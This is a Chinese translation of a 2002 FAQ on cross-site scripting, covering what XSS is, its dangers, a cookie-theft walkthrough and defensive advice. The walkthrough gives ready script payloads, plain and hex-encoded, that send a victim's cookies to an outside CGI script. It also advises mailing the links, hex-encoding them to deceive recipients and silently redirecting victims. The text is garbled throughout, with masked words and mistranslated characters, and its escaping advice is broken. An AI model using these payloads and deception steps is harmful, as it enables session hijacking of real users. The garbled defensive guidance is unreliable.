该文章简单地介绍了XSS的基础知识及其危害和预防方法。Web开发人员的必读。译自
[url]http://www..cgisecurity.com/articles/xss-faq.shtml[/url]。
简介
如今的网站包含大量的动态内容以提升用户体验,比过去要复杂得多。所谓动态内容,就是根据用户环境和须要,Web应用程序可以输出相应的内容。动态站点会受到一种名为“跨站脚本***”(
Cross Site Scripting, 安全专家们一般将其所写成
XSS)的威胁,而静态站点则彻底不受其影响。这篇FAQ将使你能更深刻地理解这种威胁,并给出如何检测并防止的建议。
什么是跨站脚本***?
跨站脚本***(也称为
XSS)指利用网站漏洞从用户那里恶意盗取信息。用户在浏览网站、使用即时通信软件、甚至在阅读电子邮件时,一般会点击其中的连接。***者经过在连接中插入恶意代码,就可以盗取用户信息。***者一般会用十六进制(或其余编码方式)将连接编码,以避免用户怀疑它的合法性。网站在接收到包含恶意代码的请求以后会产成一个包含恶意代码的页面,而这个页面看起来就像是那个网站应当生成的合法页面同样。许多流行的留言本和论坛程序容许用户发表包含HTML和javascript的帖子。假设用户甲发表了一篇包含恶意脚本的帖子,那么用户乙在浏览这篇帖子时,恶意脚本就会执行,盗取用户乙的session信息。有关***方法的详细状况将在下面阐述。
XSS和CSS是什么意思?
人们常常将跨站脚本***(Cross Site Scripting)缩写为
CSS,但这会与
层叠样式表(Cascading Style Sheets, CSS)的缩写混淆。所以有人将跨站脚本***缩写为
XSS。若是你听到有人说 “我发现了一个XSS漏洞”,显然他是在说跨站脚本***。
跨站脚本***有什么危害?
为了搜集用户信息,***者一般会在有漏洞的程序中插入 JavaScript、VBScript、 ActiveX或Flash以欺骗用户(详见下文)。一旦得手,他们能够盗取用户账户,修改用户设置,盗取/污染cookie,作虚假广告等。天天都有大量的XSS***的恶意代码出现。 Brett Moore的下面这篇文章详细地阐述了“拒绝服务***”以及用户仅仅阅读一篇文章就会受到的“自动***”。
可否给出几个跨站脚本***的例子?
著名的PHPnuke程序有不少XSS漏洞。因为该程序十分流行,所以常常被***们做为XSS的***对象进行检查。下面给出了几个已公开报告的***方法。
可否解释一下XSS cookie盗窃是什么意思?
根据做为***对象的Web程序,下面某些变量和插入位置可能须要进行调整。要注意这只是***方法的一个例子。在这个例子中,咱们将利用脚本“a.php”中的 “viriable”变量中的跨站脚本漏洞,经过正常请求进行***。这是跨站脚本***最多见的形式。
第一步: 锁定目标
当你找到某个Web程序存在XSS漏洞以后,检查一下它是否设置了cookie。若是在该网站的任何地方设置了cookie,那么就能够从用户那里盗取它。
第二步: 测试
不一样的***方式将产生不一样的XSS漏洞,因此应适当进行测试以使得输出结果看起来像是正常的。某些恶意脚本插入以后会破坏输出的页面。(为欺骗用户,输出结果很是重要,所以***者有必要调整***代码使输出看起来正常。)
下一步你须要在连接至包含XSS漏洞的页面的URL中插入 Javascript(或其余客户端脚本)。下面列出了一些常常用于测试XSS漏洞的连接。当用户点击这些连接时,用户的cookie奖被发送到 [url]www..cgisecurity.com/cgi-bin/cookie.cgi[/url] 并被显示。若是你看到显示结果中包含了cookie信息,说明可能能够劫持该用户的帐户。
盗取Cookie的Javascript示例。使用方法以下。
ASCII用法
[url]http://host/a.php?variable=[/url]"><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>
十六进制用法
[url]http://host/a.php?variable=%22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f[/url]
%63%61%74%69%6f%6e%3d%27%68%74%74%70%3a%2f%2f%77%77%77%2e%63%67
%69%73%65%63%75%72%69%74%79 %2e%63%6f%6d%2f%63%67%69%2d%62%69%6e%2f%63%6f
%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63% 75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
注意: 每种用法都先写为ASCII,再写成十六进制以便复制粘贴。
1. "><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %22%3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e
%6c%6f%63%61%74%69%6f%6e%3d%27 %68%74%74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65
%63%75%72%69%74%79%2e%63%6f%6d%2f%63%67%69 %2d%62%69%6e%2f
%63%6f%6f%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f %6f%6b%69%65%3c%2f%73%63%72%69%70%74%3e
2. <script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c%6f
%63%61%74%69%6f%6e%3d%27%68%74%74 %70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75%72
%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69%6e %2f%63%6f%6f%6b
%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3c %2f%73%63%72%69%70%74%3e
3. ><script>document.location='http://www.cgisecurity.com/cgi-bin/cookie.cgi?' +document.cookie</script>
HEX %3e%3c%73%63%72%69%70%74%3e%64%6f%63%75%6d%65%6e%74%2e%6c
%6f%63%61%74%69%6f%6e%3d%27%68%74 %74%70%3a%2f%2f%77%77%77%2e%63%67%69%73%65%63%75
%72%69%74%79%2e%63%6f%6d%2f%63%67%69%2d%62%69 %6e%2f%63%6f%6f
%6b%69%65%2e%63%67%69%3f%27%20%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65 %3c%2f%73%63%72%69%70%74%3e
第三步: 执行XSS
将作好的URL经过电子邮件或其余方式发送出去。注意若是你直接将URL发送给其余人(经过电子邮件、即时通信软件或其余方式),你应当将其进行十六进制编码,由于这些URL一眼即可看出包含恶意代码,但通过十六进制编码以后就能够欺骗大部分人。
第四步: 处理收集到的信息
一旦用户点击了你的URL,相应数据就会被发送到你的CGI脚本中。这样你就得到了 cookie信息,而后你能够利用Websleuth之类的工具来检查是否能盗取那个帐户。
在上面的例子中,咱们仅仅将用户带到了 cookie.cgi页面上。若是你有时间,你能够在CGI中将用户重定向到原来的页面上,便可在用户不知不觉之中盗取信息。
某些电子邮件程序在打开附件时会自动执行附件中的Javascript代码。即便像Hotmail这样的大型网站也是如此,不过它对附件内容做了许多过滤以免cookie被盗。
做为网站管理者应当如何防范?
这个问题很简单。
坚定不要相信任何用户输入并过滤全部特殊字符。这样既可消灭绝大部分的XSS***。另外一个建议是输出页面时将 < 和 > 变换成 < 和 >。要记住,XSS漏洞极具破坏性,一旦被利用,它会给你的事业带来极大的损害。***者会将这些漏洞公之于众,这会在用户隐私的问题上大大下降你的网站的用户信赖度。固然,仅仅将 ( 和 ) 变换成 < 和 > 是不够的,最好将 ( 和 ) 变换成 ( 和 ),# 和 & 变换成 # 和 &。
做为用户应当如何防范?
保护本身的最好方法就是仅点击你想访问的那个网站上的连接。例如,若是你访问了一个网站,该网站有一个连接指向了 CNN,那么不要单击该连接,而是访问 CNN 的主站点并使用搜索引擎查找相关内容。这样能够杜绝90%以上的XSS***。有时候XSS会在你打开电子邮件、打开附件、阅读留言板、阅读论坛时自动进行。当你打开电子邮件或是在公共论坛上阅读你不认识的人的帖子时必定要
注意。最好的解决办法就是关闭浏览器的 Javascript 功能。在IE中能够将安全级别设置为最高,能够防止cookie被盗。
XSS漏洞有多常见?
因为XSS漏洞很容易在大型网站中发现,在***圈内它很是流行。FBI.gov、CNN.com、Time.com、Ebay、 Yahoo、Apple、Microsoft、Zdnet、Wired、Newsbytes都有这样那样的XSS漏洞。
在商业产品中,平均每月可以发现10-25个XSS漏洞。
加密可否防止XSS***?
使用SSL(https)加密的网站并不比不加密的网站好到哪儿去。Web程序仍然以一样的方式工做,只是***是经过加密的链接实现。有些人看到浏览器上的锁图标就认为他们是安全的,其实否则。
XSS漏洞可否在服务器上执行命令?
XSS漏洞会致使Javascript的恶意插入,但它的执行受到不少限制。若是***者利用浏览器的漏洞,有可能在用户的计算机上执行命令。所以,就算可以执行命令也只能在客户端。简单地说,XSS漏洞能够触发客户端的其余漏洞。
若是我不修改CSS/XSS漏洞会怎样?
若是不修改XSS漏洞,你的网站上的用户会受到被篡改的威胁。许多大型网站都发现了XSS漏洞,这个问题已经获得广泛认识。若是不修改,发现它的人也许会警告你的公司,损害公司的信誉。你拒绝修改漏洞的消息也会传到客户那里,形成公司的信任危机。客户不信任的话还怎么作生意?
介绍一些更深刻讲解XSS的地方。
Many Thanks to David Endler for reviewing this document.
Published to the Public May 2002 Copyright May 2002 Cgisecurity.com